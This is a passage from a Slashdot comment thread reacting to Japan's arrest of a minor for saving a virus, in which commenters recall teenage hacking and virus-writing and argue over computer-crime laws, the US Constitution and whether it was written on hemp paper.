    You better skip over my work networks though, they are controlled by various government agencies that might not like such intrusions. Oh wait, they are guilty as well: they use similar scripts to reboot servers, switches, routers, and apply updates.

  38. Re:Should have known better by Anonymous Coward · · Score: 0

    when i was 13 i was scanning for weak nt passes and installing litmus bots to meet on a french ircd i had setup. all for the sake of showing my friends i could disconnect them from AIM any time i wanted, all i had to do was open a dcc send a pic or something get the ip and and let the ddos commence. when i was 14 i was hacking for a fxp group. just because your kids are dumb doesn't mean we all are. i only stopped because i no longer fell under the can't be tried as adult thing :D

    So, did you finally became older than 13 or 14? With your sms-based writing style, I can't tell.

  39. Re:Should have known better by jmerlin · · Score: 4, Interesting

    I wrote a virus when I was under 15 (too long ago to tell my exact age). It wasn't fancy, it basically disabled lots of stuff in Windows (98 at the time, and by overwriting parts of the PE header in a bunch of system files) and added itself to start on launch (before the login screen) so it would BSOD every boot unless you had a special key written in a file named "C:\opensesame.txt". I also wrote a little tool to remove it. It would attempt to copy itself to every bootable device plugged into the system (by adding an autorun.inf entry for it, back when EVERYTHING you plugged into your computer executed the autorun by default, lol). I made a few other things like tools that made the system unusable until I pressed a secret key-combo and unlocked the computer, but most were less virus-ey and more securit-ey; at least they worked when anyone could use a floppy recovery disk to overwrite your password in your SAM file. Hell, once my mom tried to put one of those commercial computer "security" apps on the computer that required a password before the login-screen would be shown, you know, to keep me from using the computer and doing my ever-so-important pre-algebra or learning where commas should go in a sentence and how to not write run-on sentences etc. With what I knew, I just booted into an MS-DOS prompt and found the exe it was running (it was conspicuously named and under program files, lol?) and renamed it so it would fail to launch and happily continued using the computer.

    I started doing this after having an old DOS system I had infected by a bootsector virus. I researched it, and what it did on floppy drives to spread, and I was completely fascinated by the idea of writing software to "do bad things." It had never occurred to me. I wasn't too interested in writing the software to maliciously damage others' systems, rather just to disable my own and then fix it. And this fascination eventually lead to me learning, on my own, X86 assembly in 9th grade and getting into reverse-code-engineering and malware analysis (which is a big hobby of mine these days, not my profession). The success of seeing someone else do something that seemed completely impossible and learning how they did it lead me to do the same in other aspects of my life. I saw both XQZ and Viper-G in half-life based games and I was fascinated, leading me to read the source of similar cheats and write my own (that was one of favorite hobbies), along with writing bots and trying to (unsuccessfully, usually) write emulators for game servers. All the while I kept learning more than I would ever learn in school, and only because I saw a virus destroy my old MS-DOS machine and I was free to be curious and investigate.

    I don't see how that's a bad thing for a kid to do, at the very least to explore security issues with their own system, so they can better understand just how vulnerable they are and what they can actually do with a computer. Computers are enormously powerful machines. To confine people to using programs written by others is such an abuse of how awesome they are.

  40. Why is it illegal? by Taco+Cowboy · · Score: 3, Insightful

    If it's my computer, it's *MY* computer !!

    What do I want to do with it is *MY* business !!

    Japan must have fucked up seriously with this type of stupid law !!
     

    --
    Muchas Gracias, Señor Edward Snowden !
    1. Re:Why is it illegal? by Lumpio- · · Score: 1

      Let's see you, say, download the wrong song at the wrong time and see what the US thinks about *YOU* doing things on *YOUR* computer then.

    2. Re:Why is it illegal? by Anonymous Coward · · Score: 0

      the act of downloading these days, although unavoidable via HTTP/HTTPS, is being seen as the illegal act.
      Its where you go to download WHAT.
      The virus is still illegal to possess.

      Amazing they dont do THIS in america...i wonder how many would get caught in the trap..

  41. Re:Should have known better by Anonymous Coward · · Score: 1

    If they expected people to enforce the Constitution independently, it was kind of funny to set up a Republican Federal government in the first place. The Constitution was actually written to strengthen the central government, after state-dominated government had already proven untenable. And one of the first acts of business George Washington got down to was violently suppressing the Whiskey Rebellion through a drafted army, showing the determination of the Federal Government to enforce its laws.

    Gotta love Slashdot. That was a +5 Insightful for something that's incorrect and basically completely ignorant, but serves some modern political purpose.

  42. Re:Should have known better by Anonymous Coward · · Score: 0

    the expected the people to enforce the Constitution

    which is why they were for armed militias, so where is the NRA when it comes to defending the Constitution?

  43. Criminalized saving a virus to your own computer? by Anonymous Coward · · Score: 0

    So use of anti-virus software which quarantines viruses is now a criminal act in Japan?

  44. Re:Should have known better by wolverine2k · · Score: 1

    Quite true. I also learned TSRs and a lot of other stuff like BHOs which people might have forgotten by doing a lot of virus re-creation. I still remember those virus utility kits which were freely available on BBS. It was amazing. And if you outlaw a seeking mind, you destroy creativity. Wake up Japan. Don't let your kids rot in video games and stuff. Ask them to be creative and this is the first stepping stone.

  45. It's only a matter of time by keshet · · Score: 1
  46. insane news by Anonymous Coward · · Score: 0

    This is insane... Arrest a 13 years old kid for a virus creation??? That's bullshit. Go to arrest truly criminals instead of kids trying to learn something.

  47. Re:Should have known better by tehcyder · · Score: 2

    i only stopped because i no longer fell under the can't be tried as adult thing :D

    So you're not only a criminal sociopath, you're also a fucking coward.

    Truly an inspiration to us all.

    --
    To have a right to do a thing is not at all the same as to be right in doing it
  48. *Saving* a virus ?! by GuB-42 · · Score: 2

    I thought that the whole point of a virus is to "save" themselves automatically and without anyone knowing...

  49. Re:it's a self installing remote administration to by gl4ss · · Score: 1

    ...point being that he is a minor, in most western countries that actually means no jailtime. an arrest for questioning can happen, but even then it's very easy for the police to fuck up with the kids rights, that's why gang juvies are such a problem.

    and I guess I should have said "charged" then. but it's the same thing - if no damages to show then no effective repercussions to the kid, which is why you should do your hacking of fbi before you turn 15..

    --
    world was created 5 seconds before this post as it is.
  50. Re:Should have known better by tehcyder · · Score: 1

    This is all well and good until you start deciding that for your education you need to work on real, live networks and start fucking up other people's computers for lulz.

    That's the point at which your freedom infringes on others'.

    --
    To have a right to do a thing is not at all the same as to be right in doing it
  51. I luvs me some Fiona Apple! by Impy+the+Impiuos+Imp · · Score: 1

    Perhaps the Japanese will re-consider their vision of future dystopias being corporation-oriented. It's people with guns, which means government, government, government.

    Dr. Evil: ...and we will get them to focus on the evils of our large corporation...so our minion in government can be issued emergency powers. Buhwahahahahah. BUWAHAHAHAHAHAH. BUHWAHAHAHAHAHAHAHA. BUHWAHAHAHAHAHAHAHA. BUHWAHAHAHAHAHAHAHA. BUHWAHAHAHAHAHAHAHA.

    Buwah. Buh. Huhehe. Heh. Hmmm. Back to work!

    --
    (-1: Post disagrees with my already-settled worldview) is not a valid mod option.
  52. take a good look by Anonymous Coward · · Score: 0

    Take a good look America! This is what will happen to us if we dont keep our govt from regulating the internet.

  53. What paper was the Constitution written on? by ed1park · · Score: 1

    A. Urban legend is that the Constitution, Declaration of Independence, and Bill of Rights were written on hemp paper, hemp being the industrial name for the fiber of the marijuana plant. For some reason, this "fact" is touted by those who seek to legalize marijuana for recreational use. First, it is not clear why the use of hemp as a fiber should mean it should be legalized for recreational use. Second, the "fact" is not a fact.

    The Declaration, the Constitution, and the Bill of Rights are currently housed in the National Archives. All three are written on parchment, not hemp paper. Parchment is treated animal skin, typically sheepskin. The Declaration was inked with iron gall ink. The Jet Propulsion Laboratory was commissioned to create a system to monitor the physical status of all three. The Charters of Freedom Monitoring System took digital photos of each sheet of parchment in 1987, each document divided into one-inch squares. Over time, the photos are retaken and compared to the original to look for signs of deterioration. Before the charters were recently reencased for display, a small tear in the Declaration was repaired by adding Japanese paper to the gap. This is the only paper in any of the documents. It is, then, inaccurate to say that any of these documents was written on hemp.

    It is likely, however, that drafts of the documents were written on paper made from hemp. In that period, most paper was made from hemp or flax and a mixture of recycled rags and cloth.

    http://www.usconstitution.net/constfaq_a8.html

    1. Re:What paper was the Constitution written on? by RKBA · · Score: 1

      Guess I'd better tell Alex Trebek that he and Jeopardy were wrong.

  54. Re:Should have known better by RKBA · · Score: 1

    "WE hold these Truths to be self-evident, that all Men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty, and the Pursuit of Happiness--That to secure these Rights, Governments are instituted among Men, deriving their just Powers from the Consent of the Governed, that whenever any Form of Government becomes destructive of these Ends, it is the Right of the People to alter or to abolish it, and to institute new Government, laying its Foundation on such Principles, and organizing its Powers in such Form, as to them shall seem most likely to effect their Safety and Happiness."